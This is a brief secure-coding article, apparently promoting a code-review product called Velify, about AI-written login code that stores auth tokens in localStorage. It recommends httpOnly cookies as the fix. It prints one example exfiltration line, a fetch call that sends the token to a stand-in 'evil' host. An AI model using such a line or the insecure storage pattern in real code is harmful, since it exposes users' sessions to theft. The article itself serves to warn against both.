AI wired up auth and kept you logged in across refreshes. It works, you shipped. What you actually shipped stores your login token somewhere any script on the page can read.
What you shipped
The token is saved to localStorage. Anything JavaScript running on your page — including injected scripts — can read it.
How anyone exploits it
Combine this with any XSS (a comment, a dependency, a third-party widget) and the attacker’s script runs:
fetch('https://evil/?t=' + localStorage.token)
Every visitor’s token is exfiltrated, and the attacker logs in as them. No password needed.
Why you won’t catch it
Login works, refresh works, everything persists — exactly as intended. The risk only materializes when some other script gets onto your page, which your tests don’t simulate.
Why AI does it
localStorage.setItem is the most direct way to persist a token across reloads, and it works flawlessly until something hostile shares the page.
The fix
Store the token in an httpOnly cookie so JavaScript can’t read it:
res.cookie('token', jwt, { httpOnly: true, secure: true, sameSite: 'lax' })
Check your app
- Auth tokens live in httpOnly, Secure cookies — never in localStorage or sessionStorage.
sameSiteis set to limit cross-site sending.- You still defend against XSS (this reduces the blast radius, it isn’t a substitute).
The bigger problem
A senior dev catches this by reflex. But if nobody senior reads the code, the broken version ships — it works in every test, because every test takes the happy path. The author and the reviewer are the same model with the same blind spot.
That’s the gap Velify is built to close: it reads your project and flags exactly this, in plain language, no terminal.